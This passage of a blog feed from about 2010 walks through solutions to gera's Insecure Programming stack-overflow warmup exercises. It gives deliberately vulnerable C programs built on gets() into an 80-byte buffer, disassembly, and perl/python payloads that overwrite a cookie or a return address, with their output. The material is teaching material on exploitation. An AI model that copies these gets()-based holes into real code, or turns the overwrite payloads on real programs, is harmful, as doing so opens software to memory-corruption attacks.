		<category><![CDATA[gera’s insecure programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=237</guid>
		<description><![CDATA[Hello again, last post about abo #5 we have talked about leave and ret instruction and trace our goal path. Today, I&#8217;m gonna do my best to implement it and to force the application to do what we want. We have recently explained leave and ret instruction, so now it&#8217;s time to think how to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=237&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hello again,<a href="http://oneaboperweek.wordpress.com/2010/05/17/stack-warmup-5-solution-part-1/"> last post about abo #5</a> we have talked about leave and ret instruction and trace our goal path. Today, I&#8217;m gonna do my best to implement it and to force the application to do what we want.</p>
<p><span id="more-237"></span>We have recently explained <em>leave</em> and <em>ret</em> instruction, so now it&#8217;s time to think how to make our program to jump to the desired place: printf with our own parameters: a string pointer to a <strong>&#8220;you win&#8221;</strong> string.</p>
<p>So, after jumping to printf line, call	gets (0&#215;08048490 according to dissas main command on gdb), we need to set some values on our stack. So, we should overflow the buffer again:</p>
<ul>
<li>Cookie value it&#8217;s not important: <strong>AAAA</strong> is a good choice</li>
<li>Previous EBP: something readable (can&#8217;t find out why some readable address, maybe printf do something with ebp)</li>
<li>ret value: 0&#215;08048490 (printf call instruction)</li>
<li>Next value should be a pointer to &#8220;you win!&#8221; string</li>
<li>You win string</li>
</ul>
<p>Now, we can debug the program step by step and take a look at the importants lines: leave and ret. And you will see something like this before and after leave instruction:</p>
<p><a href="http://oneaboperweek.files.wordpress.com/2010/05/leave_instruction_on_abo5.png"><img class="aligncenter size-medium wp-image-238" title="Leave instruction on our running abo" src="http://oneaboperweek.files.wordpress.com/2010/05/leave_instruction_on_abo5.png?w=300&#038;h=186" alt="" width="300" height="186" /></a>And after leave there&#8217;s a ret:</p>
<p><a href="http://oneaboperweek.files.wordpress.com/2010/05/ret_instruction_on_abo51.png"><img class="aligncenter size-medium wp-image-240" title="ret_instruction_on_abo5" src="http://oneaboperweek.files.wordpress.com/2010/05/ret_instruction_on_abo51.png?w=300&#038;h=187" alt="" width="300" height="187" /></a>When printf is called, their first argument is pointing to you win instruction so it prints. There is an important observation: ebp should be pointing to some readable memory (can&#8217;t find out why yet), so I have used some memory: exit address instruction (exit() c function from libc).</p>
<p>What about the script?</p>
<blockquote><p>python -c &#8220;print &#8216;AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDD&#8217; \<br />
&#8216;DDDDDDDDEEEEEEEEEEEEFFFFFFFFFFGGGGGGGG&#8217; \<br />
&#8216;GGHHHHHHHH&#8217; \<br />
&#8216;AAAA&#8217; \<br />
&#8216;\xee\xf5\xff\xbf&#8217; \<br />
&#8216;\x90\x84\x04\x08&#8242; \<br />
&#8216;\x04\xf6\xff\xbf&#8217;\<br />
&#8216;you win!\x0a \x00&#8242;&#8221;</p></blockquote>
<p>Every comment about the explanation is welcome, I found out that graphics for every assembly instruction will explain better than my words&#8230; But if you think different, please comment it.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/237/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=237&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/05/26/abo-5-solution-part-2/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1e2bf2f09802cb8df6e5e96bb182a085?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cesarbernardini</media:title>
		</media:content>

		<media:content url="http://oneaboperweek.files.wordpress.com/2010/05/leave_instruction_on_abo5.png?w=300" medium="image">
			<media:title type="html">Leave instruction on our running abo</media:title>
		</media:content>

		<media:content url="http://oneaboperweek.files.wordpress.com/2010/05/ret_instruction_on_abo51.png?w=300" medium="image">
			<media:title type="html">ret_instruction_on_abo5</media:title>
		</media:content>
	</item>
		<item>
		<title>Stack Warmup #5: Solution! – Part 1</title>
		<link>http://oneaboperweek.wordpress.com/2010/05/17/stack-warmup-5-solution-part-1/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/05/17/stack-warmup-5-solution-part-1/#comments</comments>
		<pubDate>Mon, 17 May 2010 19:26:44 +0000</pubDate>
		<dc:creator>cesarbernardini</dc:creator>
				<category><![CDATA[Stack warmup]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[gera’s insecure programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=224</guid>
		<description><![CDATA[At the begginning I got the impression that abo#5 will be a pice of cake.. so I sat on this for a couple of weeks confident in my prediction. Today I picked it up just for noticing that I was WRONG! Abo #4 and Abo #5 are really difficult, and 5 &#8220;requires&#8221; 4&#8242;s solution. Today, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=224&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>At the begginning I got the impression that abo#5 will be a pice of cake.. so I sat on this for a couple of weeks confident in my prediction.</p>
<p>Today I picked it up just for noticing that I was <strong>WRONG</strong>! Abo #4 and Abo #5 are really difficult, and 5 &#8220;requires&#8221; 4&#8242;s solution. Today, I&#8217;m gonna solve Abo #5, well&#8230; I&#8217;ll try to give the basic ideas for my solution and on part 2 I&#8217;ll complete the explanation <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre><span style="color:#108010;">
/* <a href="stack5.c">stack5.c</a>                                     *
 * specially crafted to feed your brain by gera */

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &amp;buf, &amp;cookie);
	gets(buf);

	if (cookie == 0x000a0d00)
		printf("you lose!\n");
}
</span></pre>
<p><strong>Where is the &#8220;you win!&#8221; string?</strong> It says you lose! There are not way to win!!!!! Wait, we are trying to be hackers so we should think a path to print you win!</p>
<p><span id="more-224"></span><br />
What have we done to solve Abo #4? We has changed the return&#8217;s address to make the program to jump inside the if. This time, may be there are other options but my thought is calling the printf function but changing their arguments to print &#8220;You win!&#8221; instead of &#8220;you lose!\n!&#8221;.</p>
<p>First of all, I propose to make a list with all the steps required:</p>
<ol>
<li>Fill the buffer with some information</li>
<li>Change program&#8217;s flow to jump to printf with the desired parameters.</li>
<li>Continue Execution</li>
</ol>
<p>Changing program&#8217;s flow is the complicated step, so we need to have a perfect understanding of what&#8217;s going on with the stack pointers (ebp, esp) and return address. To make the perfect understanding, take a look at asm stack5&#8242;s code:</p>
<pre>	.file	"stack5.c"
	.section	.rodata
.LC0:
	.string	"buf: %08x cookie: %08x\n"
.LC1:
	.string	"you lose!"
	.text
.globl main
	.type	main, @function
main:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$96, %esp
	leal	-4(%ebp), %eax
	movl	%eax, 8(%esp)
	leal	-84(%ebp), %eax
	movl	%eax, 4(%esp)
	movl	$.LC0, (%esp)
	call	printf
	leal	-84(%ebp), %eax
	movl	%eax, (%esp)
	call	gets
	movl	-4(%ebp), %eax
	cmpl	$658688, %eax
	jne	.L2
	movl	$.LC1, (%esp)
	call	puts
.L2:
	movl	$0, %eax
	leave
	ret
	.size	main, .-main
	.ident	"GCC: (Gentoo 4.3.4 p1.0, pie-10.1.5) 4.3.4"
	.section	.note.GNU-stack,"",@progbits
</pre>
<p>The normal program&#8217;s flow takes us to execute a leave and then a ret instruction to finish our program. We need something different, don&#8217;t terminate just jump to <em>&#8220;call	printf&#8221;</em> instruction with a different parameter: a pointer to &#8220;you win!&#8221; string.</p>
<p>Time to explain what do clean and ret do</p>
<p><strong>leave instruction</strong></p>
<p>On a normal program execution, leave is executed before a ret instruction. Her work is let the stack as it was before entering to the current function (thinking our program as a function: int main() { &#8230; }). So the example here imagines a running program on some state:</p>
<div id="attachment_230" class="wp-caption aligncenter" style="width: 310px"><a href="http://oneaboperweek.files.wordpress.com/2010/05/leave_instruction1.png"><img class="size-medium wp-image-230" title="Leave Instruction" src="http://oneaboperweek.files.wordpress.com/2010/05/leave_instruction1.png?w=300&#038;h=175" alt="" width="300" height="175" /></a><p class="wp-caption-text">How does the leave instruction works? Little graphical explanation</p></div>
<p>It is important to imagine that we are restoring the stack as it was before our program was called, because ret is gonna call the next instruction where our program was invocated. Our flow control will change here the stack and set our desired stack with leave&#8230; And ret will&#8230; (continue reading if you can&#8217;t imagine)</p>
<p><strong>ret instruction</strong></p>
<p>This ret instruction is useful to change the instruction pointer, to jump to other function usually. How does it works on some state:</p>
<div id="attachment_231" class="wp-caption aligncenter" style="width: 310px"><a href="http://oneaboperweek.files.wordpress.com/2010/05/ret_instruction.png"><img class="size-medium wp-image-231" title="ret instruction explanation" src="http://oneaboperweek.files.wordpress.com/2010/05/ret_instruction.png?w=300&#038;h=164" alt="" width="300" height="164" /></a><p class="wp-caption-text">Ret instruction graphical explanation</p></div>
<p>Recapitulate our idea, we are going to change program&#8217;s flow using the buffer overflow to write over the <em>&#8220;previous ebp&#8221;</em> and the <em>ret address</em>, to make the program jump the place we want (printf with the specified parameter).</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/224/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=224&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/05/17/stack-warmup-5-solution-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1e2bf2f09802cb8df6e5e96bb182a085?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cesarbernardini</media:title>
		</media:content>

		<media:content url="http://oneaboperweek.files.wordpress.com/2010/05/leave_instruction1.png?w=300" medium="image">
			<media:title type="html">Leave Instruction</media:title>
		</media:content>

		<media:content url="http://oneaboperweek.files.wordpress.com/2010/05/ret_instruction.png?w=300" medium="image">
			<media:title type="html">ret instruction explanation</media:title>
		</media:content>
	</item>
		<item>
		<title>Solution to stack4.c</title>
		<link>http://oneaboperweek.wordpress.com/2010/04/19/solution-to-stack4-c/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/04/19/solution-to-stack4-c/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 02:50:00 +0000</pubDate>
		<dc:creator>jfort</dc:creator>
				<category><![CDATA[Stack warmup]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[gera’s insecure programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=193</guid>
		<description><![CDATA[Howdy, fellow aspirings exploit writers! Now we&#8217;re gonna have some fun with another ABO, stack4.c. Just like the past ABOs we have been playing with, solving this one is no rocket science either. Nevertheless, it&#8217;s a little bit more tricky than the other ones we have defeated lately. /* stack4-stdin.c * * specially crafted to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=193&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Howdy, fellow aspirings exploit writers! Now we&#8217;re gonna have some fun with another ABO, stack4.c.</p>
<p>Just like the past ABOs we have been playing with, solving this one is no rocket science either. Nevertheless, it&#8217;s a little bit more tricky than the other ones we have defeated lately.<br />
<span id="more-193"></span><br />
<code>/* stack4-stdin.c                               *<br />
 * specially crafted to feed your brain by gera */</p>
<p>#include </p>
<p>int main() {<br />
	int cookie;<br />
	char buf[80];</p>
<p>	printf("buf: %08x cookie: %08xn", &amp;buf, &amp;cookie);<br />
	gets(buf);</p>
<p>	if (cookie == 0x000d0a00)<br />
		printf("you win!n");<br />
}<br />
</code></p>
<p>Taking a quick look at the code you may think this one is as straightforward as the past two ABOs. Just use something to aid us in writing non-printable chars such 0&#215;00, 0x0a and 0x0d and we&#8217;re done. If you paid attention to the explanation of the past ABO, you&#8217;ll remember gets(3) will stop whenever it encounters a newline (0x0a) character, thus making it impossible for us to overwrite &#8216;cookie&#8217; with the desired value.</p>
<p>But bear in mind we&#8217;re facing here an exploitable stack overflow situation. That means we can redirect the execution flow to any address we want. Does it ring a bell?</p>
<p>Let&#8217;s disassemble the code to see what&#8217;s going on behind the scenes:</p>
<p><code>(gdb) disas main<br />
Dump of assembler code for function main:</p>
<p>(...)</p>
<p>0x080483fa :	mov    0xfffffff8(%ebp),%eax<br />
0x080483fd :	cmp    $0xd0a00,%eax<br />
0x08048402 :	jne    0x8048410<br />
0x08048404 :	movl   $0x8048540,(%esp)<br />
0x0804840b :	call   0x80482d4<br />
0x08048410 :	add    $0x74,%esp<br />
</code></p>
<p>If you see in main+57 we have a comparision to check whether the content of EAX register equals to 0xd0a00. In main+62 we have a conditional jump that states if the previous comparision was not successful, the code should jump to main+76; otherwise, it will fall through the instructions and execute main+64 and main+71, this last one is responsible for printing &#8220;you win!&#8221; for our delight.</p>
<p>Have you already figured out the strategy we&#8217;ll use here? If not, let&#8217;s recapitulate what we already have in our hands:</p>
<p>- We just can&#8217;t change &#8216;cookie&#8217; with the value we want, but we can totally control the content of EIP register, thus jumping to anywhere we want;<br />
- There&#8217;s an address within the address space of our own code that will make it print what we want to see.</p>
<p>Choosing carefully an address to jump to, we pick the address of main+64 (0&#215;08048404) to do the job for us. You may be wondering why we have chosen this particular address and not used the address of main+71, the one responsible for calling puts(), right away. The answer is that before calling a function, we need to set up a few things with the stack. Give it a try and make it jump straight to the address of main+71 and you&#8217;ll see it will break, because the prior stack adjustment hasn&#8217;t been done, you&#8217;ve just skipped it by jumping to an instruction after it.</p>
<p>Now with the real deal:</p>
<p>box:/vulndev/InsecureProgramming# perl -e &#8216;print &#8220;A&#8221;x76 . &#8220;x04x84x04x08&#8243; . &#8220;CCCC&#8221;&#8216; | ./stack4<br />
buf: bffffcb0 cookie: bffffd00<br />
you win!<br />
Bus error (core dumped)</p>
<p>And stack4.c is down.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/193/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=193&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/04/19/solution-to-stack4-c/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/18efeafbc5d9f999eee1ac7beb562f13?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jfort</media:title>
		</media:content>
	</item>
		<item>
		<title>Defeating stack3.c</title>
		<link>http://oneaboperweek.wordpress.com/2010/04/19/defeating-stack3-c/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/04/19/defeating-stack3-c/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 00:11:48 +0000</pubDate>
		<dc:creator>jfort</dc:creator>
				<category><![CDATA[Stack warmup]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[gera’s insecure programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=184</guid>
		<description><![CDATA[Alright folks, time to solve stack3.c, from "Warming up" section of gera's Insecure Programming series.
If you have read our explanation on solving stack1.c and stack2.c, this challenge will be a piece of cake.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=184&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Alright folks, time to solve stack3.c, from &#8220;Warming up&#8221; section of gera&#8217;s Insecure Programming series.</p>
<p><code>/* stack3-stdin.c                               *<br />
* specially crafted to feed your brain by gera */</code></p>
<p>#include </p>
<p>int main() {<br />
int cookie;<br />
char buf[80];</p>
<p>printf(&#8220;buf: %08x cookie: %08x\n&#8221;, &amp;buf, &amp;cookie);<br />
gets(buf);</p>
<p>if (cookie == 0&#215;01020005)<br />
printf(&#8220;you win!\n&#8221;);<br />
}</p>
<p>If you have read our explanation on solving stack1.c and stack2.c, this challenge will be a piece of cake.<br />
<span id="more-184"></span><br />
Now we need to stuff &#8216;cookie&#8217; with 0&#215;01020005 &#8212; oh God, the feared null-byte, the nemesis of shellcoders, the damned char that can&#8217;t be stuffed into character arrays!</p>
<p>But don&#8217;t worry about a thing, every little thing is gonna be alright as we just learn in this situation there is no problem if we stuff our null-byte on it. You may be wondering why this happens. The explanation can be found on gets(3) man page:</p>
<blockquote><p>
GETS(3)                    Linux Programmer’s Manual                   GETS(3)</p>
<p>NAME<br />
       fgetc,  fgets,  getc,  getchar,  gets, ungetc &#8211; input of characters and<br />
       strings</p>
<p>(&#8230;)</p>
<p>       gets() reads a line from stdin into the buffer pointed to  by  s  until<br />
       either  a  terminating newline or EOF, which it replaces with &#8221;.  No<br />
       check for buffer overrun is performed (see BUGS below).
</p></blockquote>
<p>See? gets(3) does not stop copying after it encounters a null-byte, but does so when it sees a newline (0x0a in hex).</p>
<p><code>box:/vulndev/InsecureProgramming# perl -e 'print "A"x80 . "\x05\x00\x02\x01"' | ./stack3<br />
buf: bffffcc0 cookie: bffffd10<br />
you win!<br />
Segmentation fault (core dumped)</code></p>
<p>One more ABO down. Stay tuned for the solution of stack4.c.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/184/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=184&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/04/19/defeating-stack3-c/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/18efeafbc5d9f999eee1ac7beb562f13?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jfort</media:title>
		</media:content>
	</item>
		<item>
		<title>Solving stack-2.c</title>
		<link>http://oneaboperweek.wordpress.com/2010/04/12/solving-stack-2-c/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/04/12/solving-stack-2-c/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 20:48:58 +0000</pubDate>
		<dc:creator>jfort</dc:creator>
				<category><![CDATA[Stack warmup]]></category>
		<category><![CDATA[abo]]></category>
		<category><![CDATA[gera's insecure programming]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=167</guid>
		<description><![CDATA[Shooting down one more ABO, here we are to solve stack2.c, from &#8220;Warming up&#8221; section of gera&#8217;s Insecure Programming series. /* stack2-stdin.c * * specially crafted to feed your brain by gera */ #include int main() { int cookie; char buf[80]; printf("buf: %08x cookie: %08x\n", &#38;buf, &#38;cookie); gets(buf); if (cookie == 0x01020305) printf("you win!\n"); } [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=167&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Shooting down one more ABO, here we are to solve stack2.c, from &#8220;Warming up&#8221; section of gera&#8217;s Insecure Programming series.</p>
<p><code><br />
/* stack2-stdin.c                               *<br />
 * specially crafted to feed your brain by gera */</p>
<p>#include </p>
<p>int main() {<br />
	int cookie;<br />
	char buf[80];</p>
<p>	printf("buf: %08x cookie: %08x\n", &amp;buf, &amp;cookie);<br />
	gets(buf);</p>
<p>	if (cookie == 0x01020305)<br />
  		printf("you win!\n");<br />
}</code></p>
<p>If you have paid attention to the solution we came up for stack1.c you will clearly see stack2.c can be solved in the very same straight-forward manner we did with our last post.<br />
<span id="more-167"></span><br />
The only difference with it, however, is that we must overwrite the value of &#8216;cookie&#8217; with 0&#215;01020305, which is comprised of characters we just can&#8217;t find in our keyboard.<br />
As we can&#8217;t type in like we did with &#8220;ABCD&#8221;, we must find a way to do something like this for us. Now Perl comes handy with this task, and we launch it as following:</p>
<p>box:/vulndev/InsecureProgramming# perl -e &#8216;print &#8220;A&#8221;x80 . &#8220;\x05\x03\x02\x01&#8243;&#8216; | ./stack2<br />
buf: bffffcb0 cookie: bffffd00<br />
you win!<br />
Segmentation fault (core dumped)</p>
<p>Happy dance, and one more ABO down.<br />
Spoiler alert: stack3.c can be solved exactly in the same way.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/167/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=167&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/04/12/solving-stack-2-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/18efeafbc5d9f999eee1ac7beb562f13?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jfort</media:title>
		</media:content>
	</item>
		<item>
		<title>Stack Warmup #2: Solution!</title>
		<link>http://oneaboperweek.wordpress.com/2010/04/12/stack-warmup-2-solution/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/04/12/stack-warmup-2-solution/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 17:21:05 +0000</pubDate>
		<dc:creator>cesarbernardini</dc:creator>
				<category><![CDATA[Stack warmup]]></category>
		<category><![CDATA[abos]]></category>
		<category><![CDATA[buffer overflow]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=154</guid>
		<description><![CDATA[New week, and a new ABO to play with&#8230; This time, we are going to play with: /* stack2.c * * specially crafted to feed your brain by gera */ int main() { int cookie; char buf[80]; printf("buf: %08x cookie: %08x\n", &#38;buf, &#38;cookie); gets(buf); if (cookie == 0x01020305) printf("you win!\n"); } If you have solved [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=154&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>New week, and a new ABO to play with&#8230; This time, we are going to play with:</p>
<pre><span style="color:#ff9900;">
